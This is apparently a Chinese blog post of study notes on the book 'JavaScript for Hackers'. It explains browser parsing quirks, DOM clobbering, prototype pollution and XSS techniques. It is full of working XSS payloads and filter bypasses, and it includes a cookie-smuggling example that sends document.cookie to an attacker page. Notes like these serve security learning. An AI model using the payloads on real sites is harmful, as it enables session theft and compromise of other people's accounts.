JavaScript For Hackers随笔

书名:JavaScriptForHackers
作者:Gareth Heyes

基本概念

自解码机制

一个网页主要由三部分组成:HTML+CSS+JS

浏览器在解析过程中,主要有三个过程:HTML解析、CSS解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

 1. HTML/SVG/XHTML 解析。解析这三种文件会产生一个DOM Tree
  2. CSS 解析,解析CSS会产生CSS规则树
  3. Javascript 解析
  4. URL解析

一个简单的XSS代码:<img/src=1 onerror=alert(1)>onerror后面的语句,会被浏览器识别为JS代码,因此会执行自动解码。我们可以使用10进制、16进制对alert(1)进行编码,依然可以执行弹窗。

10进制编码:

1
<img/src="1" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

16进制编码:

1
<img/src="1" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

10进制和16进制混合,也可以自动解码并执行:

1
<img/src="1" onerror=&#97;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

除了实体编码的形式,浏览器还支持通过反斜杠的形式解码16进制、8进制、Unicode编码:

16进制解码

16进制的形式为\x,单引号、双引号、反引号都会进行自解码

1
2
3
'\x61'//a
"\x61"//a
`\x61`//a

如果创建一个a函数,然后使用16进制的方式调用,会成功吗?

1
2
function a(){}
\x61() //Uncaught SyntaxError: Invalid or unexpected token

答案是不可调用,js不支持通过16进制的方式调用函数,此外x必须为小写,\X61是不会解码的,会被视为字符串。

Unicode解码

浏览器支持的Unicode的形式有2种,分别为\u\u{},先介绍第一种形式\u

1
2
3
4
'\u0061'//a
"\u0061"//a
`\u0061`//a
'\u61'//Uncaught SyntaxError: Invalid Unicode escape sequence

注意,\u形式的编码方式,必须指定为4位字符,\u61会报错。

同样,创建一个a函数,Unicode的形式可以调用成功吗?

1
2
function a(){}
\u0061() //Call Success!

答案是可以调用!js是可以支持Unicode形式的函数调用。

第二种形式\u{},这种形式的Unicode编码是将16进制写入大括号内,并且支持任意长度,js会自动填充和排除多余的0.

1
2
3
'\u{61}'//a
"\u{000000000061}"//a
`\u{0061}`//a

同样,是否支持函数调用呢?也是可以的

1
2
function a(){}
\u{61}() //Call Success!

其他:\u{}还可以用来指定变量:

1
\u{3131a}=123 //指定unicode编码的3131a变量为123

8进制解码

8进制是直接通过反斜杠来指定,如果数字超过8进制的范围,则直接返回10进制。并且不支持反引号形式的自解码。

1
2
3
4
'\141'//a
"\141"//a
`\141`//Uncaught SyntaxError: Octal escape sequences are not allowed in template strings.
'\8'//超过8进制,则直接返回10进制的8

Eval函数

上面演示了浏览器对不同编码的自解码机制,是否可以与eval或其他类似的函数(setTimeout)一起使用?

eval函数的主要作用如下:

  • eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。
  • 如果参数是一个表达式,eval() 函数将执行表达式。如果参数是Javascript语句,eval()将执行 Javascript 语句。

eval和16进制

1
eval('\x61=123')//a=123

eval和8进制

1
eval('\141=123')//a=123

eval和Unicode

Uniocde的双重编码同样支持。

1
2
eval('\u0061=123')//a=123
eval('\\u0061=123')//a=123

eval和混合编码

16进制和8进制和Unicode混合

1
2
3
eval('\\u\x30061=123')//a=123,'\x30'=>0
eval('\\u\x3006\61=123')//a=123,'\x30'=>0、'\61'=>1
eval('\\u\x300\661=123')//a=123,'\x30'=>0、'\66'=>6

字符串

js中字符串有三种形式,单引号、双引号、反引号。

特殊字符

下面是一些被用作特定用途的转义字符:

1
2
3
4
5
6
7
8
9
10
'\b'//backspace
'\f'//formfeed
'\n'//newline
'\r'//carriagereturn
'\t'//tab
'\v'//verticaltab
'\0'//null
'\''//singlequote
'\"'//doublequote
'\\'//backslash

对于不是特殊用途的字符,会通过反斜杠直接输出:

1
console.log('\H\E\L\L\O')//HELLO

通过反斜杠,可以将一行字符串变为多行:

1
2
'hello \
world!' //hello world!

这种方法同样也适用于对象属性:

1
2
3
4
let obj = {
"ba\
r":"bar"
} // {bar: 'bar'}

模板字符串

在反引号中,可以内置表达式,形式为${}

1
`${7*7}`//49

此外,js还支持嵌套多个表达式,仍然可以解析执行:

1
`${`${`${`${7*7}`}`}`}`//49

模板字符串还有一个重要的特性,可以用来进行函数调用,如:

1
alert`123`

除了js内置的函数外,也可以调用我们自定义的函数,假设函数x返回自身,则可以用反引号进行无限次的调用。

1
2
function x(){return x}
x``````//ƒ x(){return x}

call和apply函数

在JavaScript中,每个函数对象都带有call()和apply()方法,即Function.prototype.call()和Function.prototype.apply(),这两个方法都是挂载在原型上的,通过调用这两个方法,我们可以改变this指向,从而让我们的this指向不在是谁调用了函数就指向谁。

  • call() 方法使用一个指定的this值和单独给出的一个或多个参数来调用一个函数。
  • apply()方法调用一个具有给定this值的函数,以及以一个数组(或类数组对象)的形式提供的参数。

call方法例子:

1
2
3
4
5
function x() {
console.log(this.bar)
}
let foo = {bar: 'bar'}
x.call(foo) //bar

从上面的输出结果来看,传入的foo对象,会更改的x函数内的this指向。另外,call方法支持多个参数的传入,当第一个参数是null时,this的指向为不会改变。

1
2
3
4
5
6
function x() {
console.log(arguments[0]) //1
console.log(arguments[1]) //2
console.log(this) //{bar: 'bar'}
}
x.call(foo, 1, 2)
1
2
3
4
5
6
function x() {
console.log(arguments[0]) //1
console.log(arguments[1]) //2
console.log(this) //Window {window: Window, self: Window, ...}
}
x.call(null, 1, 2)

如果需要将this指针变为null,可以开启严格模式use strict

1
2
3
4
5
6
7
function x() {
"use strict";
console.log(arguments[0]) //1
console.log(arguments[1]) //2
console.log(this) //null
}
x.call(null, 1, 2)

apply方法例子:

apply方法与call方法不同点在于,它支持数组方式的传参:

1
2
3
4
5
6
7
function x() {
"use strict";
console.log(arguments[0]) //1
console.log(arguments[1]) //2
console.log(this) //null
}
x.apply(null, [1, 2])

无括号执行JavaScript

使用valueOf

原始的valueOf()方法会返回 this 值本身,如果尚未转换为对象,则转换为对象。因此它的返回值将从不会被任何原始值转换算法使用。

1
2
const obj = { foo: 1 };
console.log(obj.valueOf() === obj); // true

通过重写valueOf方法,可以自定义转换的值:

1
2
let obj = {valueOf(){return 1}}
obj+1 //2

是否可以将返回值修改为alert,来执行弹窗呢?

1
2
let obj = {valueOf:alert}
obj+1 //Illegal invocation

答案是不可以,因为在调用obj+1的过程中,会默认执行valueOf方法进行转换,相当于调用alert方法。但是alert方法调用的this对象需要是一个window对象,而当前调用的this对象为obj,因此会显示非法调用。

是否,可以直接覆写window对象的valueOf方法,执行alert调用呢?

1
2
window.valueOf=alert
window+1 //Call Success!

因为alert的this指向为window,因此可以调用成功。此外,无需显式的指定window对象,默认的valueOf就是指向window的:

1
2
valueOf=alert
window+1 //Call Success!

使用throw

前面,我们可以通过修改valueOf,来执行弹窗,但是无法传入参数,能否无括号执行js,并且传入参数?

常见的throw用法,用来抛出异常:

1
2
throw new Error('test'); // Uncaught Error: test
throw 'test'; // Uncaught test

通过上面的输出结果,可以看出,throw语句可以接受一个表达式或字符串,并把错误内容交给错误处理程序。

是否可以通过自定义错误程序处理程序,来达到传递参数的目的?

实际并没有执行弹窗,但书上说执行了?

1
2
onerror=alert;
throw 'foo'; // Uncaught test

逗号处理

在js中,逗号表达式会从左到右处理表达式,并放回最后一个值。

1
2
let foo = (alert(), 10) //alert弹窗
console.log(foo) //10

借助这一个特性,可以通过throw来执行弹窗:

本地测试并没有执行弹窗,但书上说执行了

1
throw onerror=alert,1337

使用模板字符串

滥用alert函数

在基本概念中提到,使用反引号可以进行函数调用,并且支持嵌套解析:

1
2
3
alert`123`
`${alert(1337)}`
`${`${alert(1337)}`}`

如果在传参中使用表达式,会用逗号来代替,无论${}中的内容是什么,如下所示:

1
2
alert`foo${1}bar` //foo,bar
alert`foo${'aaa'}bar` //foo,bar

除了alert,是否可以使用eval呢?

1
eval`alert\x281337\x29` //alert不会被调用

是否可以使用setTimeout呢?

1
setTimeout`alert\x281337\x29` //alert被调用

为了搞清楚传入alert函数中的参数,我们可以自定义一个函数x,将参数打印出来:

1
2
3
4
5
function x() {
console.log(arguments)
}
x`${'aaa'}${'bbb'}${'ccc'}` //Arguments(4) [Array(4), 'aaa', 'bbb', 'ccc', callee: ƒ, ...]
x`foo${1}bar` //Arguments(2) [Array(2), 1, callee: ƒ, Symbol(Symbol.iterator): ƒ]

从输出结果可以看出,对于含有表达式的变量,会首先传入一个数组。这也就说明了,alert中嵌入表达式,会打印逗号:

1
alert`foo${1}bar` => alert(['foo', 'bar'], 1)

滥用Function函数

Function是内置的一个构造函数,用于创建函数对象,它接受多个参数,最后一个参数会被视为方法体中执行的内容:

1
2
const add = new Function('a', 'b', 'return a + b;');
console.log(add(2, 3)); //5

因此可以使用模板字符串来传入参数,并执行alert

1
2
3
4
5
6
7
8
Function`x${'alert\x281337\x29'}` //不会执行alert
=>
Function(['x', ''], 'alert(1337)') //解析后的逻辑
=>
ƒ anonymous(x,
) {
alert(1337)
} //生成的匿名函数

运行上面的代码,发现不行弹窗,因为生成的函数没有进行调用,可以做如下改动:

1
Function`x${'alert\x281337\x29'}

=>
Function([‘x’, ‘’], ‘alert(1337)’)()

1
2
3
4
5
6
7
8

**滥用setTimeout函数**

`setTimeout`函数,他接受多个参数,第一个为调用函数,第二个为延时,后面为可选参数:

```javascript
// setTimeout(callback, delay, arg1, arg2, ...)
setTimeout(alert, 1000, 1, 2, 3)

接下来尝试使用setTimeout函数和模板字符串组合,来执行无括号的JavaScript,根据上面对模板字符串的理解,执行模板字符串过程中,第一个变量会是一个数组,接下来才是模板字符串的内容:

1
2
3
4
function x() {
console.log(arguments)
}
x`${alert}${0}${1337}` // Arguments(4) [Array(4), ƒ, 0, 1337, callee: ƒ, Symbol(Symbol.iterator): ƒ]

因此,下面的方式都不会执行弹窗,因为传入的参数为一个数组,而不是alert函数:

1
setTimeout`${alert}${0}${1337}` // Uncaught SyntaxError: Unexpected token ','

是否可以使用上面提到的call方法,将第一个参数作为this的指向呢?

1
setTimeout.call`${alert}${0}${1337}` // Uncaught TypeError: Illegal invocation

答案是不可以,因为当this的指向为window时,才可以弹窗

如果不考虑表达式,只传入模板字符串,是可以执行弹窗的:

1
setTimeout`alert\x281337\x29`

滥用replace函数

replace 是字符串对象的一个内置方法,用于替换字符串中的文本。

1
2
3
// string.replace(searchValue, replaceValue) 
'aa'.replace('aa', 'cc') //cc
'aa'.replace(/.*/, 'cc') //cc

可以将替代的变量设置为alertreplace会将匹配到字符串传入alert函数中,从而执行弹窗:

1
'a'.replace(/./, alert) //Call Success!

因为本小节目标是在无括号的情况下执行,考虑使用模板字符串:

1
2
3
'a,'.replace`a${alert}` //执行弹窗:a,
=>
'a,'.replace(['a', ''], alert) //实际执行的逻辑

如何把逗号去掉,我们可以使用call方法:

todo: 这里修改了this的指向,为什么还能弹窗?

1
'a'.replace.call`1${/./}${alert}` //执行弹窗:1

滥用Reflect函数

Reflect 是一个内置的对象,提供了一组用于操作对象的方法。

  • Reflect.apply(target, thisArg, argumentsList):调用目标函数,并传入指定的 this 值和参数列表。
  • Reflect.set(target, propertyKey, value[, receiver]):设置目标对象的指定属性的值。

调用Reflect.apply.call方法:

1
Reflect.apply.call`${alert}${window}${[1337]}` // 弹窗1337

调用Reflect.set.call方法:

1
Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}` // 弹窗1337

使用Has instance symbol

hashInstance方法是用于检查一个对象是否属于某个特定的类(构造函数)或其原型链中的某个类。

1
2
let obj = {}
obj instanceof Object //true

在执行instanceof方法过程中,会涉及到Symbol.hasInstance ,它是一个内置的符号(Symbol),它是用于自定义对象的 instanceof 运算符行为的属性。

1
'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval} // 弹窗1337

这段代码的意思是通过修改hasInstance的行为,将'alert\x281337\x29'传递给eval函数,从而导致弹窗。

其他变种:

1
'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval} // 弹窗1337

Fuzzing

当浏览器不遵循规范是,可以通过fuzzing技术来发现错误,并导致绕过某些限制。

Fuzzing Javascript Urls

通过javascript伪协议,可以执行弹窗。接下来通过fuzzing技术,来探索是否有不遵循规范的解析:

1
2
3
4
5
6
7
8
9
10
11
log = []
let anchor = document.createElement('a')

for(let i=0; i <= 0x10ffff; i++){
anchor.href = `javascript${String.fromCodePoint(i)}:`;
if(anchor.protocol === 'javascript:'){
log.push(i);
}
}

log // [9, 10, 13, 58]

在上面的代码中,在javascript后面添加其他字符,仍可以被识别为javascript协议。

接下来修改代码,在前面进行fuzz:

1
2
3
4
5
6
7
8
9
10
11
log = []
let anchor = document.createElement('a')

for(let i=0; i <= 0x10ffff; i++){
anchor.href=`${String.fromCodePoint(i)}javascript:`;
if(anchor.protocol === 'javascript:'){
log.push(i);
}
}

log // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32]

可以看到,在javascript前面有更多可利用的字符。为了进一步验证,我们通过dom来生成一下:

1
2
3
4
let anchor = document.createElement('a')
anchor.href = `${String.fromCodePoint(20)}javascript:alert(1)` // '\x14javascript:alert(1)'
anchor.append('click me!')
document.body.append(anchor)

点击后发现是可以进行弹窗的。

需要注意的一点:通过dom生成的页面元素与通过HTML生成的页面元素,可能会有不同的预期,&#0就是一个例子:

1
2
<a href="&#12;javascript:alert(1337)">Test</a>  <!-- 可以弹窗 -->
<a href="&#0;javascript:alert(1337)">Test</a> <!-- 不可以弹窗 -->

对于需要点击的测试,可以使用一些自动化测试工具,如Puppeteer

Fuzzing HTTP URLs

通过模糊伪协议的方式,也可以对url的解析进行fuzz,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
log = []
let anchor = document.createElement('a')

for(let i=0; i <= 0x10ffff; i++){
anchor.href = `${String.fromCodePoint(i)}https://www.example.com`;
if(anchor.hostname === 'www.example.com'){
log.push(i);
}
}

log // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32]

对协议进行模糊,可以使用双斜杠引用外部URL。它们继承页面的当前协议,例如,如果网站使用https://协议相关URL,则将使用该协议:

1
2
3
4
5
6
7
8
9
a = document.createElement('a')
log = []
for(let i=0; i <= 0x10ffff; i++){
a.href = `/${String.fromCodePoint(i)}/garethheyes.co.uk`;
if(a.hostname === 'garethheyes.co.uk'){
log.push(i)
}
}
log //[9, 10, 13, 47, 92]

Fuzzing HTML

在HTML中,注释的格式为<!-- test -->,正常情况下<!-- -->里面的内容是可以随意填充,都会被识别为注释。是否存在特殊的情况,导致注释的内容逃逸呢,通过编写如下代码进行测试:

1
2
3
4
5
6
7
8
9
log = []
let div = document.createElement('div')
for(let i=0; i<=0x10ffff; i++){
div.innerHTML = `<!--${String.fromCodePoint(i)}<span></span>-->`;
if (div.querySelector('span')){
log.push(i)
}
}
log // [62]

通输出结果看,62可以提前闭合注释。62转换的字符为>

Fuzzing known behavious

构造一个函数x,正常的调用方式为x(),接下来通过fuzz技术,来探测是否有其他的调用方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
function x() {

}
log = []
for(let i=0; i<=0x10ffff; i++){
try {
eval(`x${String.fromCodePoint(i)}()`);
log.push(i)
} catch (e) {

}
}
log // [9, 10, 11, 12, 13, 32, 160, 5760, 8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8232, 8233, 8239, 8287, 12288, 65279]

DOM Hacker

获取window对象

window对象是JavaScript中的全局对象,它代表浏览器窗口或标签页,通过window对象,可以执行alerteval等函数,用来执行任意JavaScript,对于沙盒环境,获取window对象,意味着进行了逃逸。

通过document.defaultView 属性,它返回与当前文档关联的窗口对象。通常情况下,这个窗口对象就是 window 对象,因为 window 对象是浏览器窗口的全局对象:

1
document.defaultView.alert(1) //Call Success!

通过元素的ownerDocument属性,可用于访问 DOM 元素的所属文档对象:

1
2
3
node = document.createElement('div')
node.ownerDocument === document //true
node.ownerDocument.defaultView.alert(1) //Call Success!

JavaScript在处理错误时,onerror方法会接受一个Event对象,其中包含了错误所需的信息,通过Event对象,可以间接获取window对象:

本地测试,event不存在path属性,因此不会弹窗

1
<img src="" onerror="event.path.pop().alert(1337)">

本地测试,event存在composedPath()方法,该方法或返回一个数组,其中最后一个元素为window

1
2
<img src="1" onerror="console.log(event.composedPath())"> <!-- [img, body, html, document, Window] -->
<img src="1" onerror="event.composedPath().pop().alert(1)">

其他变量:

1
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

此外,可以通过自定义prepareStackTrace属性的方式,获取window对象。这个函数接收两个参数,错误对象和一个数组,数组中包含了表示堆栈帧的对象。

1
2
3
4
Error.prepareStackTrace = function(error, callSites){ 
callSites.shift().getThis().alert(1);
};
test //随便一个错误都会触发

HTML事件范围

这里主要讨论元素级事件。如onerroronclick等方法。这个方法都是存在于document对象下面。

对于如下html代码,是可以进行弹窗的:

1
<img/src/onerror=defaultView.alert(1)>

通常,我们可以直接调用alert方法,是因为window对象下面的方法为全局方法,不需要特别的指定window对象。而defaultView方法,不是全局方法,为什么也可以呢?实际上,浏览器在处理html元素时,会执行类似如下方法,浏览器会自动寻找document对象下的defaultView方法:

1
2
3
4
5
with(document){
with(element) {
// executed event
}
}

因此,我们可以在html事件中,可以使用document下的任何方法,如:

1
<img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>

注意:在正常的js代码中,无法直接执行appendChild,需要指定一个节点。上面的例子中,则会默认加入到img节点中。

DOM clobbering技术

DOM clobbering 是一种攻击技术,它利用 JavaScript 中的对象属性查找机制来修改或覆盖 DOM 中的原生对象和属性。

破坏DOM元素对象的属性

测试如下代码,url的值会是http:///example.com,因为window中不存在变量currentUrl

1
let url = window.currentUrl || 'http:///example.com';

但是再测试如下代码,可以发现dom中的存在属性currentUrl

1
2
3
4
5
<form name='currentUrl'></form>	
<script>
let url = window.currentUrl || 'http:///example.com';
alert(url) // [object HTMLFormElement]
</script>

利用这个特性,我们可以修改dom的属性,除了name变量,html中id也可以用来定位元素:

1
2
3
4
5
6
7
8
<form id=x></form>
<form name=y></form>
<script>
alert(x) // [object HTMLFormElement]
alert(document.x) // undefined
alert(y) // [object HTMLFormElement]
alert(document.y) // [object HTMLFormElement]
</script>

从输出结果可以看到,全局变量x和y可以直接访问,但是通过id定义的属性,是不会修改dom。而name定义的属性,是可以修改dom的,通过name来修改dom的html标签有embedformiframeimageimgobject.

当我们对x或者y进行输出是,实际调用了元素的toString方法,但是如果存在href属性,则会输出href定义的值:

1
2
3
4
<a href="test:aaaa" id=x></a>
<script>
alert(x) // test:aaaa
</script>

当存在相同的id的情况下,将会是一个数组:

1
2
3
4
5
6
<a href="test:aaaa" id=x></a>
<a href="test:bbbb" id=x></a>
<script>
alert(x[0]) // test:aaaa
alert(x[1]) // test:bbbb
</script>

对于嵌套的html元素,访问方式如下:

1
2
3
4
5
6
7
<form id=x name=y>
<input id=z value=1337>
</form>
<form id=x></form>
<script>
alert(x.y.z.value)//1337
</script>

处理常见的标签,iframe标签会存在一个例外,srcdoc属性内的值也可以访问,注意style标签的作用,否则foo.bar会是undefined

1
2
3
4
5
6
7
8
9
<iframe name=foo srcdoc="<a id=bar href='test:aaa'>"></iframe>
<style>
/* 这里style标签是为了让srcdoc完成渲染 */
@import 'https://garethheyes.co.uk';
</style>
<script>
alert(foo) // [object Window]
alert(foo.bar) // test:aaa
</script>

破坏过滤器

首先自定义一个过滤代码,过去以on开头的事件:

1
2
3
4
5
6
7
8
9
10
11
12
<form id=x onclick=alert(1) onmousemove=alert(2)>
<input />
</form>
<script>
for (let i=document.getElementById('x').attributes.length -1 ; i >=0; i--){
let attribute = document.getElementById('x').attributes[i]
if(!/^on/i.test(attribute.name)) {
continue
}
document.getElementById('x').removeAttribute(attribute.name)
}
</script>

在浏览器执行后,不会进行弹窗,因为dom中已经对on开头的事件进行了删除,但是通过在from表达下自定name=attributes的属性,可以对过滤器进行破坏,如下所示,因为document.getElementById('x').attributes[i]会获取到一个img对象,不会进入for循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
<form id=x onclick=alert(1) onmousemove=alert(2)>
<img name="attributes">
<input/>
</form>
<script>
for (let i=document.getElementById('x').attributes.length -1 ; i >=0; i--){
let attribute = document.getElementById('x').attributes[i]
if(!/^on/i.test(attribute.name)) {
continue
}
document.getElementById('x').removeAttribute(attribute.name)
}
</script>

除了破坏attributes属性,tagNamenodeName都可以破坏。

Clobbering document.getElementById()

当页面中含有id相同的元素时,使用document.getElementById()通常会获取第一个元素,但是htmlbody会改变这种顺序

正常情况:

1
2
3
4
5
<div id="x"></div>
<form id="x"></form>
<script>
alert(document.getElementById('x')) //[object HTMLDivElement]
</script>

使用body:

1
2
3
4
5
<div id="x"></div>
<body id="x"></body>
<script>
alert(document.getElementById('x')) //[object HTMLBodyElement]
</script>

利用这个特性,在某些情况下,可以绕过CSP的保护。如果页面存在html注入,注入的位置在所有标签之后,则可以破坏getElementById,来使用自己的元素,需要根据实际情况来利用。

Clobbering document.querySelector()

除了getElementById()querySelector()也有这个特性:

1
2
3
4
5
<div class="x"></div>
<body class="x"></body>
<script>
alert(document.querySelector('.x')) //[object HTMLBodyElement]
</script>

原型污染

相关文章:

1
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

测试如下代码,发现第二个执行成功。原因是__proto__属性无法被直接赋值,只有当调用getter/setter方法时,才可以更改__proto__属性。

1
2
({__proto__:"foo"}).hasOwnProperty('__proto__') // false
(JSON.parse('{"__proto__":"foo"}')).hasOwnProperty('__proto__') //true

当我们对一个不存在的属性进行赋值时,是可以成功的,以下是几种赋值方法:

1
2
3
4
5
6
7
8
let obj = {}
obj.__proto__['foo1'] = 'bar1' // 第一种方式
obj.constructor['prototype']['foo2'] = 'bar2' // 第二种方式
obj.__proto__.foo3 = 'bar3' // 第三种方式
let test = {}
test.foo1 // bar1
test.foo2 // bar2
test.foo3 // bar3

通过原型污染,可以网络请求做出修改:

1
2
3
4
5
6
Object.prototype.body='foo=bar' // 修改body
Object.prototype.headers={foo:'bar'}; // 修改header
const request = new Request('/api', {
method: 'POST'
})
fetch(request) // post请求中会携带foo=bar

可以通过修改Object.prototype.configurable=true;Object.prototype.writable=true;,来实现对属性的重写。

XSS构造

通过闭合script

因为script标签具有较高的优先级,使用</script>提前关闭script,然后再注入xss代码。

1
2
3
<script>
let foo="</script><img/src/onerror=alert(1337)>";
</script>

当有2个注入点时:

1
2
3
4
<script>
let foo = "<!-- <script>"
</script>
<img title="</script><img/src/onerror=alert(1)>"/>

使用svg标签

在svg标签内,使用实体编码的字符,也将会自动解码:

1
2
3
4
5
<svg>
<script>
let foo = "&quot;-alert(1)//"
</script>
</svg>

当在火狐浏览器中,可以不用构造script闭合:

1
<svg><scripthref=data:,alert(1)/>

注入window

当页面通过iframe加载一个页面,通过iframe的name属性可以控制子页面的window.name的值:

1
2
3
4
<iframe src=//target name=alert(1)></iframe>

<!--target-->
<script>eval(window.name)</script>

走私cookie:

1
2
3
4
5
6
7
<script>name=document.cookie</script>
<a href="//attacker">test</a>

<!--attacker page-->
<script>
fetch('cookies', {method: 'post', body: name})
</script>

sourceMappingURL注释

sourceMappingURL是一个特殊的注释,通常添加在JavaScript或CSS文件的末尾。它的主要作用是提供一个链接到外部源映射文件的路径。

在开发工具(如浏览器的开发者工具)中,当浏览器遇到sourceMappingURL注释时,它会自动加载相应的源映射文件,并使用它来还原压缩后的文件的原始结构和源代码。

1
//#sourceMappingURL=https://attacker?

注意:浏览器的网络选项卡,不会显示该请求。需要进行带外测试。

新的重定向方式

1
2
3
window.location.href = 'https://www.baidu.com' // 常见的方式
navigation.navigate('https://www.baidu.com') // 新的方式
navigation.navigate('javascript:alert(1337)') // 用来执行xss

引入新行

当注入点在注释中时,并且通过eval来执行,可以通过换行等操作,来绕过:

1
2
3
4
eval('//\ralert(1337)');//carriagereturn
eval('//\nalert(1337)');//linefeed
eval('//\u2028alert(1337)');//lineseparator
eval('//\u2029alert(1337)');//paragraphseparator

利用空白符

前面fuzz那一章节,提到对函数x的调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
function x() {

}
log = []
for(let i=0; i<=0x10ffff; i++){
try {
eval(`x${String.fromCodePoint(i)}()`);
log.push(i)
} catch (e) {

}
}
log // [9, 10, 11, 12, 13, 32, 160, 5760, 8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8232, 8233, 8239, 8287, 12288, 65279]

利用这一特性,可以尝试绕过waf:

1
<img/src/onerror=alert&#65279;(1)>

动态导入

JavaScrip允许通过import动态加载模块,也将会导致xss

1
import('data:text/javascript,alert(1)')

控制text/xml

如果响应类型为text/xml,且内容可控,也可以造成xss:

1
2
3
<xml>
<text>hello<img src="1" onerror="alert(1)" /></text>
</xml>
1
2
3
4
5
6
<xml>
<text>
hello
<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" />
</text>
</xml>

svg文件上传

网站允许svg类型的文件上传,可以造成xss:

1
2
3
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)"/>
</svg>

HTML实体

10进制实体

1
2
3
4
<!--'j'.codePointAt(0)-->
<a href="&#106;avascript:alert(1337)">test1</a>
<a href="&#106avascript:alert(1337)">test2</a>
<a href="&#00000000106avascript:alert(1337)">test3</a>

16进制实体

16进制的例子中,第二个会失效。第二个中,a也是16进制范围内,会造成解码异常。

1
2
3
4
5
6
<!--'j'.codePointAt(0).toString(16)-->
<a href="&#x6a;avascript:alert(1337)">test1</a>
<a href="&#x6aavascript:alert(1337)">test2</a>
<a href="&#000000000x6a;avascript:alert(1337)">test3</a>
<a href="jav&#x61script:alert(1337)">test4</a>
<a href="java&#xascript:alert(1)">test</a>

HTML5实体

html5引入了一些新的实体,可以造成xss:

1
<a href="javascript&colon;alert(1337)">test</a>

无括号xss:

1
2
3
4
<a href="javascript&colon;alert&lpar;1337&rpar;">test</a>
<a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">test</a>
<a href="javascript:alert&grave;1337&grave;">test</a>
<a href="javascript:alert&DiacriticalGrave;1338&DiacriticalGrave;">test</a>

其他实体:

1
&lpar;&rpar;&bsol;&lsqb;&rsqb;&lcub;&rcub;

HTML事件

onafterscriptexecute事件仅限Firefox,他会在脚本执行后触发,并且可以使用任何标记:

1
<xss onafterscriptexecute=alert(1)><script>1</script>

ontoggle事件,如果打开details元素,则会触发执行:

1
<details ontoggle=alert(1) open>test</details>

onunhandledrejection事件,这是一个相对模糊的事件,仅适用于Firefox。它需要一个没有捕获条款的承诺。要利用此漏洞攻击网站,您需要一个具有未经处理的拒绝的现有脚本。

1
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

onbegin会在svg动画开始前加载:

1
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

onpopstate是一个事件处理函数,它用于处理浏览器的历史记录状态改变事件,如:

1
<body onpopstate=alert(1)><script>location.hash=1</script>

onfocus属性可以通过#触发,或者自动触发,可以是任何标签:

1
2
3
<!--http://target.com#x-->
<x onfocus=alert(1) id=x tabindex=1>
<x onfocus=alert(1) autofocus tabindex=1>

其他:

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy (portswigger.net)

Reference

Author: Sys71m
Link: https://www.sys71m.top/2023/06/10/JavaScript-For-Hackers随笔/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.